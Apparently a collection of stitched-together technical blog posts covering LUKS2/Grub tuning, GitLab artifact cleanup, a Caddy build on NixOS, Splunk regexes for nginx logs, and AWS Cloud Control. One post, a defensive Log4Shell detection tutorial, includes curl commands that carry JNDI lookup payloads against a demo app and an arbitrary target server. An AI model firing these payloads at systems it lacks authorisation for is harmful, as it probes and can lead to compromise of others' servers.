$ less /boot/grub/grub.cfgmenuentry 'Manjaro Linux' {  insmod luks2}

Verify LUKS2 unlock §

Before proceed to the next step, I recommend reboot into your Manjaro/Arch to check whether Grub can unlock LUKS2. Once that is done, reboot again to live USB.

PBKDF2 to Argon2 §

This step should be done in live USB

All keyslot parameters are retained during conversion to LUKS2, so the pbkdf algorithm is still PBKDF2 + SHA256. To convert to Argon2 + SHA512,

sudo cryptsetup luksConvertKey --pbkdf argon2id --hash sha512 /dev/nvme0n1p2

You may notice insmod gcry_sha256 line in the “grub.cfg”, this module is not used for LUKS2 unlocking, so there is no need to add insmod gcry_sha512. As long as insmod luks2 is there, Grub should be able to unlock LUKS2 regardless of pbkdf or hash algorithm.

Enable TRIM and disable workqueue for SSD performance (optional) §

Still in live USB

sudo cryptsetup --allow-discards --perf-no_read_workqueue --perf-no_write_workqueue --persistent open /dev/nvme0n1p2 root

Verify the flags are set.

$ sudo cryptsetup luksDump /dev/nvme0n1p2 | grep FlagsFlags:         allow-discards no-read-workqueue no-write-workqueue

More details:

• SSD TRIM
• Workqueue

Faster unlock in Grub §

This step can be done while the drive is mounted (as in not in live USB)

Due to lack of cryptography acceleration, Grub takes half a minute to unlock LUKS. For faster unlock, Argon2 parameters can be tuned to less security.

To start off, have a try with these parameters:

• 4 iterations
• 256MB memory cost

sudo cryptsetup luksConvertKey /dev/nvme0n1p2 --pbkdf-force-iterations 4 --pbkdf-memory 262100sudo cryptsetup luksConvertKey /dev/nvme0n1p2 --pbkdf-force-iterations 4 --pbkdf-memory 262100 --key-file /crypto_keyfile.bin

This page explains why keyfile also needs to be updated.

Reboot and check how fast is the unlock. Fine tune the --pbkdf-memory option until the unlock speed is satisfactory (not too slow and not too fast). The option takes a value in kilobyte (KB).

References §

• Dm-crypt/Encrypting_an_entire_system
• Gentoo Configuration Guide
• Restore the GRUB Bootloader

Expire new job artifacts §

In all my projects that were using more than 5 GB, 99% of the usage came from job artifacts. I believe most of the cases are like this. The first thing I did was to set new job artifacts to expire in a week, the default is 30 days. Existing job artifacts are not affected by this setting.

If your job artifacts created in a month are much less than 5 GB in total yet still exceed the quota, it is likely caused by very old artifacts which have no expiry. In that case, reducing the default expiry may not be relevant, those old artifacts should be removed instead.

.gitlab-ci.yml
build:  artifacts:    paths:      - public/+    expire_in: 1 week

Remove old job artifacts §

As for cleaning up existing job artifacts, I found the following bash script on the GitLab forum. I fixed some variable typo and modified the starting page to “2”, all job artifacts will be removed except for the first page, retaining 100 most recent job artifacts. The only dependencies are curl and jq.

This script is especially useful for removing job artifacts were created before 22 Jun 2020, artifacts created before that date do not expire.

cleanup-gitlab.shsource
#!/bin/bash# https://forum.gitlab.com/t/remove-all-artifact-no-expire-options/9274/12# Copyright 2021 "Holloway" Chew, Kean Ho <kean.ho.chew@zoralab.com># Copyright 2020 Benny Powers (https://forum.gitlab.com/u/bennyp/summary)# Copyright 2017 Adam Boseley (https://forum.gitlab.com/u/adam.boseley/summary)## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at## http://www.apache.org/licenses/LICENSE-2.0## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.# See the License for the specific language governing permissions and# limitations under the License.############### user input ################ project ID (Help: goto "Settings" > "General")projectID=""# user API token (Help: "User Settings" > "Access Tokens" > tick "api")token=""# gitlab server instanceserver="gitlab.com"# CI Jobs pagination (Help: "CI/CD" > "Jobs" > see bottom pagination bar)## NOTE: user interface might be bug. If so, you need to manually calculate.# By default, maximum 10,000 (end_page * per_page) job artifacts will be removed, while retaining 100 most recent artifacts.# Example:#   1. For 123 jobs in the past and per_page is "100" (maximum), it has 2 pages (end_page) in total#      [end_page = ROUND_UP(total_job / per_page)].#   2. To retain most recent 200 jobs#      [start_page = num_job_retain / per_page + 1]start_page="2"end_page="100"per_page="100"# GitLab API versionapi="v4"###################### internal function ######################delete() {  # page  page="$1"  1>&2 printf "Cleaning page ${page}...\n"  # build internal variables  baseURL="https://${server}/api/${api}/projects"  # get list from servers for the page  url="${baseURL}/${projectID}/jobs/?page=${page}&per_page=${per_page}"  1>&2 printf "Calling API to get lob list: ${url}\n"  list=$(curl --globoff --header "PRIVATE-TOKEN:${token}" "$url" \    | jq -r ".[].id")  if [ ${#list[@]} -eq 0 ]; then    1>&2 printf "list is empty\n"    return 0  fi  # remove all jobs from page  for jobID in ${list[@]}; do    url="${baseURL}/${projectID}/jobs/${jobID}/erase"    1>&2 printf "Calling API to erase job: ${url}\n"    curl --request POST --header "PRIVATE-TOKEN:${token}" "$url"    1>&2 printf "\n\n"  done}main() {  # check dependencies  if [ -z $(type -p jq) ]; then    1>&2 printf "[ ERROR ] need 'jq' dependency to parse json."    exit 1  fi  # loop through each pages from given start_page to end_page inclusive  for ((i=start_page; i<=end_page; i++)); do    delete $i  done  # return  exit 0}main $@

Before & after §

Previous method no longer works on 22.11. Refer to xcaddy section instead.

Caddy, like any other web servers, is extensible through plugins. Plugin is usually installed using xcaddy; using it is as easy as $ xcaddy build --with github.com/caddyserver/ntlm-transport to build the latest caddy binary with ntlm-transport plugin.

NixOS has its own way of building Go package (Caddy is written in Go), so using xcaddy may be counterintuitive. The Nix-way to go is to build a custom package using a “*.nix” file and instruct the service (also known as a module in Nix ecosystem) to use that package instead of the repo’s.

In NixOS, the Caddy module has long included services.caddy.package option to specify custom package. It was primarily used as a way to install Caddy 2 from the unstable channel (unstable.caddy) because the package in stable channel (pkgs.caddy) of NixOS 20.03 is still Caddy 1. I talked about that option in a previous post.

Aside from installing Caddy from different channel, that option can also be used to specify a custom package by using pkgs.callPackage. I previously used callPackage as a workaround to install cloudflared in an IPv6-only instance from a repository other than GitHub because GitHub doesn’t support IPv6 yet.

If a custom package is defined in “/etc/caddy/custom-package.nix”, then the configuration will be:

/etc/nixos/configuration.nix
services.caddy = {  enable = true;  package = pkgs.callPackage /etc/caddy/custom-package.nix { };};

Custom package §

The following package patches the “main.go“ file of the upstream source to insert additional plugins. The code snippet is courtesy of @diamondburned. The marked lines show how plugins are specified through the plugins option.

/etc/caddy/custom-package.nixsource
{ lib, buildGoModule, fetchFromGitHub, plugins ? [], vendorSha256 ? "" }:with lib;let imports = flip concatMapStrings plugins (pkg: "\t\t\t_ \"${pkg}\"\n");  main = ''    package main    import (      caddycmd "github.com/caddyserver/caddy/v2/cmd"      _ "github.com/caddyserver/caddy/v2/modules/standard"${imports}    )    func main() {      caddycmd.Main()    }  '';in buildGoModule rec {  pname = "caddy";  version = "2.4.6";  subPackages = [ "cmd/caddy" ];  src = fetchFromGitHub {    owner = "caddyserver";    repo = pname;    # https://github.com/NixOS/nixpkgs/blob/nixos-21.11/pkgs/servers/caddy/default.nix    rev = "v${version}";    sha256 = "sha256-xNCxzoNpXkj8WF9+kYJfO18ux8/OhxygkGjA49+Q4vY=";  };  inherit vendorSha256;  overrideModAttrs = (_: {    preBuild    = "echo '${main}' > cmd/caddy/main.go";    postInstall = "cp go.sum go.mod $out/ && ls $out/";  });  postPatch = ''    echo '${main}' > cmd/caddy/main.go    cat cmd/caddy/main.go  '';  postConfigure = ''    cp vendor/go.sum ./    cp vendor/go.mod ./  '';  meta = with lib; {    homepage = https://caddyserver.com;    description = "Fast, cross-platform HTTP/2 web server with automatic HTTPS";    license = licenses.asl20;    maintainers = with maintainers; [ rushmorem fpletz zimbatm ];  };}

Install custom package §

Specify the desired plugins in services.caddy.package.plugins:

/etc/nixos/configuration.nix
services.caddy = {  enable = true;  package = (pkgs.callPackage /etc/caddy/custom-package.nix {    plugins = [      "github.com/caddyserver/ntlm-transport"      "github.com/caddyserver/forwardproxy"    ];    vendorSha256 = "0000000000000000000000000000000000000000000000000000";  });};

The above example will install ntlm-transport and forwardproxy plugins. The first run of nixos-rebuild will fail due to mismatched vendorSha256, simply replace the “000…” with the expected value and the second run should be ok.

xcaddy §

Nix sandbox §

Since the Nix-way of building custom caddy plugins no longer works in 22.11, I resort to the caddy-way instead, by using xcaddy. The implication of using xcaddy is that Nix sandbox can no longer be enabled because the sandbox does not even allow network access. Nix sandbox is enabled by default in NixOS, to disable:

/etc/nixox/configuration.nix
nix.settings.sandbox = false;

Then run sudo nixos-rebuild switch to apply the config. Verify the generated config in /etc/nix/nix.conf.

Nix sandbox is not a security feature, rather it is used to provide reproducibility, its fundamental feature. When enabled, each build will run in an isolated environment not affected by the system configuration. This feature is essential when contributing to Nixpkgs to ensure that a successful build does not depend on the contributor’s system configuration. For example, all dependencies should be declared even when the contributor’s system already installed all or some beforehand; a build will fail if there is any undeclared dependency.

Build custom plugins with xcaddy §

The following package will always use the latest caddy release.

/etc/caddy/custom-package.nixsource
{ pkgs, config, plugins, ... }:with pkgs;stdenv.mkDerivation rec {  pname = "caddy";  # https://github.com/NixOS/nixpkgs/issues/113520  version = "latest";  dontUnpack = true;  nativeBuildInputs = [ git go xcaddy ];  configurePhase = ''    export GOCACHE=$TMPDIR/go-cache    export GOPATH="$TMPDIR/go"  '';  buildPhase = let    pluginArgs = lib.concatMapStringsSep " " (plugin: "--with ${plugin}") plugins;  in ''    runHook preBuild    ${xcaddy}/bin/xcaddy build latest ${pluginArgs}    runHook postBuild  '';  installPhase = ''    runHook preInstall    mkdir -p $out/bin    mv caddy $out/bin    runHook postInstall  '';}

If you prefer to specify a version, modify the following lines:

# line 7version = "2.6.4";# line 12${xcaddy}/bin/xcaddy build "v${version}" ${pluginArgs}

To install the above package, use the same config shown in the Install custom package but remove the vendorSha256 line. Remember to nixos-rebuild again.

To illustrate, say we have a log format like this:

{id} "{http.request.host}" "{http.request.header.user-agent}"

An example log is:

123 "example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"

While you could search for a specific keyword, e.g. attempts of Log4shell exploit, since there are no fields, you cannot run any statistics like table or stats on the search results.

Splunk is able to understand Apache log format because its field extractor already includes the necessary regex patterns to parse the relevant fields of each line in a log. Choosing a source type is equivalent of choosing a log format. If a format is not listed in the default list, we can either use an add-on or create new fields using field extractor. There is a Splunk add-on for nginx and I suggest to try it before resorting to field extractor.

I create five patterns which cover most of the nginx events I encountered during my work. Refer to the documentation for supported syntax.

A field is extracted through “capturing group”.

(?<field_name>capture pattern)

For example, (?<month>\w+) searches for one or more (+) alphanumeric characters (\w) and names the field as month. I opted for lazier matching, mostly using unbounded quantifier + instead of a stricter range of occurrences {M,N} despite knowing the exact pattern of a field. I found some fields may stray off slightly from the expected pattern, so a lazier matching tends match more events without matching unwanted’s.

Web request §

Regex §

(?<month>\w+)\s+(?<day>\d+)\s(?<time>[\d\:]+)\s(?<proxy_ip>[\d\.]+)(?:\snginx\:\s)(?<remote_ip>[\d\.]+)(?:\s\d+\s\S+\s\S+\s)\[(?<time_local>\S+)\s(?<timezone>\+\d{4})\]\s"(?<http_method>\w+)\s(?<http_path>.+)\s(?<http_version>HTTP/\d\.\d)"\s(?<http_status>\d{3})\s(?:\d+)\s"(?<request_url>.[^"]*)"\s"(?<http_user_agent>.[^"]*)"\s(?<server_ip>[\d\.]+)\:(?<server_port>\d+)(?:\s\d+\s\d+\s)(?<ssl_version>\S+)\s(?<ssl_cipher>\S+)\s(?<http_cookie>\S+)

Event §

Dec 24 01:23:45 192.168.0.2 nginx: 1.2.3.4 55763 - - [24/Dec/2021:01:23:45 +0000] "GET /page.html HTTP/2.0" 200 494 "https://www.example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0" 192.168.1.2:8080 123 4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 abcdef .

Fields §

nginx is configured as a reverse proxy, proxy_ip is its ip whereas server_ip is the upstream’s.

Proxy request §

Regex §

(?<month>\w+)\s+(?<day>\d+)\s(?<time>[\d\:]+)\s(?<proxy_ip>[\d\.]+)(?:\snginx\:\s)(?<year>\d{4})\/(?<nmonth>\d{2})(?:\/\d{2}\s[\d\:]+\s)\[(?<log_level>\w+)\](?:\s\d+#\d+\:\s\*\d+\sclient\s)(?<remote_ip>[\d\.]+)\:(?<remote_port>\d+)(?:\sconnected\sto\s)(?<server_ip>[\d\.]+)\:(?<server_port>\d+)

Event §

Dec 24 01:23:45 192.168.0.2 nginx: 2021/12/24 01:23:45 [info] 1776#1776:*114333142 client 1.2.3.4:19802 connected to 192.168.1.2:8080

Fields §

Upstream error response §

Regex §

(?<month>\w+)\s+(?<day>\d+)\s(?<time>[\d\:]+)\s(?<proxy_ip>[\d\.]+)(?:\snginx\:\s)(?<year>\d{4})\/(?<nmonth>\d{2})(?:\/\d{2}\s[\d\:]+\s)\[(?<log_level>\w+)\](?:\s\d+#\d+\:\s\*\d+\s)(?<upstream_error>.[^,]*)(?:,\sclient\:\s)(?<remote_ip>[\d\.]+)(?:,\sserver\:\s)(?<server_host>.[^,]*)(?:,\srequest\:\s")(?<http_method>\w+)\s(?<http_path>\S+)\s(?<http_version>HTTP/\d\.\d)(?:",\supstream\:\s")(?<upstream_url>.[^"]*)",\shost\:\s"(?<upstream_host>.[^"]*)

Event §

Dec 24 01:23:45 192.168.0.2 nginx: 2021/12/24 01:23:45 [error] 1776#1776:*71197740 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 1.2.3.4, server: example.com, request: "POST /api/path HTTP/2.0",upstream: "http://192.168.1.2:8080/api/path", host:"example.com"

Fields §

Upstream epoll error §

Regex §

(?<month>\w+)\s+(?<day>\d+)\s(?<time>[\d\:]+)\s(?<proxy_ip>[\d\.]+)(?:\snginx\:\s)(?<year>\d{4})\/(?<nmonth>\d{2})(?:\/\d{2}\s[\d\:]+\s)\[(?<log_level>\w+)\](?:\s\d+#\d+\:\s\*\d+\s)(?<upstream_error>[^,]*,[^,]*)(?:,\sclient\:\s)(?<remote_ip>[\d\.]+)(?:,\sserver\:\s)(?<server_host>.[^,]*)(?:,\srequest\:\s")(?<http_method>\w+)\s(?<http_path>\S+)\s(?<http_version>HTTP/\d\.\d)(?:",\supstream\:\s")(?<upstream_url>.[^"]*)(?:",\shost\:\s")(?<upstream_host>.[^"]*)

Event §

Dec 24 01:23:45 192.168.0.2 nginx: 2021/12/24 01:23:45 [info] 13199#13199: *81574833 epoll_wait() reported that client prematurely closed connection, so upstream connection is closed too while connecting to upstream, client: 1.2.3.4, server: example.com, request: "GET /page.html HTTP/1.1", upstream:"http://192.168.1.2/page.html", host: "example.com"

Fields §

Upstream epoll error with referrer §

Regex §

(?<month>\w+)\s+(?<day>\d+)\s(?<time>[\d\:]+)\s(?<proxy_ip>[\d\.]+)(?:\snginx\:\s)(?<year>\d{4})\/(?<nmonth>\d{2})(?:\/\d{2}\s[\d\:]+\s)\[(?<log_level>\w+)\](?:\s\d+#\d+\:\s\*\d+\s)(?<upstream_error>[^,]*,[^,]*)(?:,\sclient\:\s)(?<remote_ip>[\d\.]+)(?:,\sserver\:\s)(?<server_host>.[^,]*)(?:,\srequest\:\s")(?<http_method>\w+)\s(?<http_path>\S+)\s(?<http_version>HTTP/\d\.\d)(?:",\supstream\:\s")(?<upstream_url>.[^"]*)(?:",\shost\:\s")(?<upstream_host>.[^"]*)(?:",\sreferrer\:\s")(?<referrer>.[^"]*)

Event §

Dec 24 01:23:45 192.168.0.2 nginx: 2021/12/24 01:23:45 [info] 1776#1776:*71220252 epoll_wait() reported that client prematurely closed connection, so upstream connection is closed too while sending request to upstream, client: 1.2.3.4, server: example.com, request: "GET /page.html HTTP/1.1", upstream: "http://192.168.1.2:8080/page.html", host: "example.com", referrer: "https://example.com"

Fields §

(Edit: 12 Feb 2022) AWS CDK stack is available at curben/aws-scripts

Most of the publications discussing the Log4Shell/Log4j vulnerability ([1], [2], [3], [4]) focus on the ability to instruct the JNDI component to load remote code or download payload using LDAP. A less known fact is that Log4j also supports DNS protocol by default, at least in versions prior to 2.15.0.

Huntress, a cyber security company, created an easy-to-use tool at log4shell.huntress.com to detect whether your server is vulnerable using LDAP. Despite the assurance of transparency by the availability of source code so you could host it yourself, there’s no denying the fact that log4shell.huntress.com is a third-party service; even if anyone could host it, not everyone has the ability to audit the source code. Another third-party service that is mentioned around is dnslog.cn which detects (as the name implies) using DNS protocol.

Since the DNS request made by Log4j is just a simple DNS lookup—similar to a web browser’s request—we can run any kind of DNS server: authoritative or recursive. Recursive DNS server is the easier option because it simply forwards request to upstream authoritative server(s). If a server is vulnerable, we’ll see its IP address in the DNS server’s query logs when we attempt the exploit.

Setup DNS server §

Unbound is a popular DNS server due to its simplicity. dnsmasq is another option, it was the default dns caching in Ubuntu before being replaced by systemd-resolved.

When installing a server (web, DNS, app, etc), Ubuntu usually starts the service immediately after installation. I prefer to properly configure a server before starting it, so I’m going to mask it first to prevent that auto-start.

Except for checking service status, log and dns query, all commands require sudo privilege.

systemctl mask unbound

Above command may fail in a script, in that case, use ln -s /dev/null /etc/systemd/system/unbound.service instead.

Then, we can proceed to install and configure it.

apt updateapt install unboundsudo -e /etc/unbound/unbound.conf.d/custom.conf

sudo -e is preferred over sudo nano for security reason.

Paste the following config.

# Based on https://www.linuxbabe.com/ubuntu/set-up-unbound-dns-resolver-on-ubuntu-20-04-serverserver:  # the working directory.  directory: "/etc/unbound"  # run as the unbound user  username: unbound  # uncomment and increase to get more logging  # verbosity: 2  # log dns queries  log-queries: yes  # listen on all interfaces,  interface: 0.0.0.0  # comment out to support IPv6.  # interface: ::0  # answer queries from the local network only, change to your private IP  # interface: 192.168.0.2  # perform prefetching of almost expired DNS cache entries.  prefetch: yes  # respond to all IP  access-control: 0.0.0.0/0 allow  # IPv6  # access-control: ::0/0 allow  # respond to local network only, change the CIDR according to your network  # access-control: 192.168.88.0/24 allow  # localhost only  # access-control: 127.0.0.1/24 allow  # hide server info from clients  hide-identity: yes  hide-version: yesremote-control:  # Disable unbound-control  control-enable: noforward-zone:  # Forward all queries to Quad9, use your favourite DNS  name: "."  forward-addr: 9.9.9.9  forward-addr: 149.112.112.112

Ctrl + X to quit, Y to save, Enter to confirm.

With the above config, Unbound will respond to all IP, including public IP if exposed to internet.

Since Unbound will listen on all interfaces, it’ll interfere with systemd-resolved which listens on 127.0.0.53:53 by default. So, before we start Unbound, systemd-resolved needs to be disabled first.

systemctl disable --now systemd-resolved

We also need to add the server’s hostname to /etc/hosts, otherwise sudo will take a long time to execute. If you’re using AWS EC2, the hostname will be “ip-a-b-c-d“ where abcd is the private IP.

sudo -e /etc/hosts# append this line127.0.0.1 ip-a-b-c-d

The last step before we start the service is to configure the firewall to allow inbound DNS traffic. I recommend not to allow all IP (0.0.0.0, ::0), otherwise you’ll get unwanted traffic. In EC2, that means the attached security group.

After we configure the firewall, we can proceed to unmask and start the DNS server.

systemctl unmask unboundsystemctl enable --now unbound

To see whether it’s working, execute some queries:

# localhostdig example.com @127.0.0.1# other machine, same subnetdig example.com @192.168.0.x# other machine over internetdig example.com @public-ip

Verify Unbound is logging queries,

journalctl -xe -u unbound# Dec 14 01:23:45 ip-a-b-c-d unbound[pid]: [pid:0] info: 127.0.0.1 example.com. A IN

We are now ready to test Log4shell vulnerability.

Demo vulnerable app §

This is an optional step to demonstrate Log4shell.

A demo vulnerable is available as a Docker image at christophetd/log4shell-vulnerable-app. For best security practice, I recommend:

1. Run it in an isolated network or environment.
2. Clone (the repo) and build it, instead of running the prebuild image.

After building the image and just before you run it, configure the relevant firewall to restrict outbound connection to the Unbound DNS server only. If you prefer to use port 80 for the app server, run docker run -p 80:8080 --name vulnerable-app vulnerable-app. Open inbound port 8080 (or port 80) in the firewall.

To test the app server is reachable, send a test request.

curl -IL app-server-ip:8080 -H 'X-Api-Version: foo'

The app server should respond HTTP 200. The header must be X-Api-Version because that’s what configured in the log4shell-vulnerable-app.

Once the connection is verified, we can now instruct it to make a DNS request to our Unbound DNS.

curl -L app-server-ip:8080 -H 'X-Api-Version: ${jndi:dns://dns-server-ip/evil-request}'

In the Unbound’s log, the query should be listed.

journalctl -xe -u unbound# Dec 14 01:23:45 ip-a-b-c-d unbound[pid]: [pid:0] info: app-server-ip evil-request. A IN

If you want to see the query log in realtime, journalctl -xe -u unbound -f. If it’s not listed, check the inbound firewall rule applied to the DNS server.

Is that server vulnerable? §

curl -L https://target-server-domain -H 'User Agent: ${jndi:dns://dns-server-ip/should-not-show-up-in-the-log}'

Aside from CRUD operations, it also supports List operation to discover all deployed resources filtered by a specific resource type (e.g. AWS::ECS::Cluster). When I first read the announcement, I wonder how it compares to AWS Config, a feature I’m actively using mainly for security audit, but it could also perform inventory task.

Since Cloud Control is a recent feature, the latest library is required. For Python library, I ran pip install boto3 --upgrade to update it to version xxx. Then, I created a minimal Python script to test out Cloud Control’s ListResources.

#!/usr/bin/env python# ./cloud-control.py --profile profile-name --region region-namefrom argparse import ArgumentParserimport boto3from botocore.config import Configfrom itertools import countfrom json import dump, loadsparser = ArgumentParser(description = 'Find the latest AMIs.')parser.add_argument('--profile', '-p',  help = 'AWS profile name. Parsed from ~/.aws/config (SSO) or credentials (API key).',  required = True)parser.add_argument('--region', '-r',  help = 'AWS Region, e.g. us-east-1',  required = True)args = parser.parse_args()profile = args.profileregion = args.regionsession = boto3.session.Session(profile_name = profile)my_config = Config(region_name = region)client = session.client('cloudcontrol', config = my_config)results = []response = {}for i in count():  # https://docs.aws.amazon.com/cloudcontrolapi/latest/APIReference/API_ListResources.html  params = {    # https://docs.aws.amazon.com/cloudcontrolapi/latest/userguide/supported-resources.html    'TypeName': 'AWS::EC2::FlowLog'  }  if i == 0 or 'NextToken' in response:    if 'NextToken' in response:      params['NextToken'] = response['NextToken']    response = client.list_resources(**params)    results.extend(response['ResourceDescriptions'])  else:    breakprop_list = []# Extract properties onlyfor ele in results:  prop_list.append(loads(ele['Properties']))if len(prop_list) >= 1:  with open('cloud-control.json', 'w') as w:    # Save the first dictionary only    dump(dict(sorted(prop_list[0].items())), w, indent = 2)

In the first draft of the script, I noticed that the API doesn’t support AWS::EC2::Instance yet. It took me a while to troubleshoot until I found this list of supported resources. The error wasn’t very helpful, e.g. “Resource type AWS::EC2::Instance does not support LIST action”. It’s more straightforward to just say “Resource type xxx does not support Cloud Control yet”.

The announcement did mention not all resources are supported, but I didn’t expect AWS’ bread and butter are unsupported, including AWS::S3::Bucket. I’m sure these resources will be supported eventually, it’s just that support of new products are prioritised at the moment as implied from the announcement, “It will support new AWS resources typically on the day of launch”.

I tested on AWS::EC2::PrefixList, instead of the currently unsupported AWS::EC2::Instance. It worked fine, the output syntax is exactly what the documentation outlines. To compare it to Config, I created another equivalent script.

#!/usr/bin/env python# ./aws-config.py --profile profile-name --account-id {account-id} --region region-namefrom argparse import ArgumentParserimport boto3from botocore.config import Configfrom itertools import countfrom json import dump, loadsparser = ArgumentParser(description = 'Find the latest AMIs.')parser.add_argument('--profile', '-p',  help = 'AWS profile name. Parsed from ~/.aws/config (SSO) or credentials (API key).',  required = True)parser.add_argument('--account-id', '-a',  help = 'AWS account ID. See ~/.aws/config if SSO is used.',  required = True,  type = str)parser.add_argument('--region', '-r',  help = 'AWS Region, e.g. us-east-1',  required = True)args = parser.parse_args()profile = args.profileaccount_id = args.account_idregion = args.regionsession = boto3.session.Session(profile_name = profile)my_config = Config(region_name = region)client = session.client('config', config = my_config)results = []response = {}for i in count():  params = {    'Expression': "SELECT configuration WHERE resourceType = 'AWS::EC2::FlowLog'" \      f" AND accountId = '{account_id}'" \      f" AND awsRegion = '{region}'",    'ConfigurationAggregatorName': 'ConfigAggregator' # may need to update  }  if i == 0 or 'NextToken' in response:    if 'NextToken' in response:      params['NextToken'] = response['NextToken']    response = client.select_aggregate_resource_config(**params)    results.extend(response['Results'])  else:    breakconf_list = []# Extract configuration onlyfor ele in results:  conf_list.append(loads(ele).get('configuration', {}))if len(conf_list) >= 1:  with open('aws-config.json', 'w') as w:    # Save the first dictionary only    dump(dict(sorted(conf_list[0].items())), w, indent = 2)

Before I get to the output comparison, notice the accountId and awsRegion filters I used in the SQL statement. It’s necessary because I’m using an aggregator that collects data from all accounts and regions in an AWS Organization (which have AWS Config enabled). Like most other AWS APIs, Cloud Control only works on a combination of account and region. If you want discover resources in 5 combinations of account and region, that’ll requires 5 API calls, in contrast to just one API call via Config’s aggregator.

Here is the output of Cloud Control:

{  "DeliverLogsPermissionArn": String,  "Id": String,  "LogDestination": String,  "LogDestinationType": String,  "LogFormat": String,  "LogGroupName": String,  "MaxAggregationInterval": Integer,  "ResourceId": String,  "ResourceType": String,  "Tags": [ Tag, ... ],  "TrafficType": String}

Config:

{  "creationTime": Float,  "deliverLogsPermissionArn": String,  "deliverLogsStatus": String,  "flowLogId": String,  "flowLogStatus": String,  "logDestination": String,  "logDestinationType": String,  "logFormat": String,  "logGroupName": String,  "maxAggregationInterval": Float,  "resourceId": String,  "tags": [ Tag, ... ],  "trafficType": String}

Syntax used by CloudFormation template:

{  "DeliverLogsPermissionArn" : String,  "LogDestination" : String,  "LogDestinationType" : String,  "LogFormat" : String,  "LogGroupName" : String,  "MaxAggregationInterval" : Integer,  "ResourceId" : String,  "ResourceType" : String,  "Tags" : [ Tag, ... ],  "TrafficType" : String}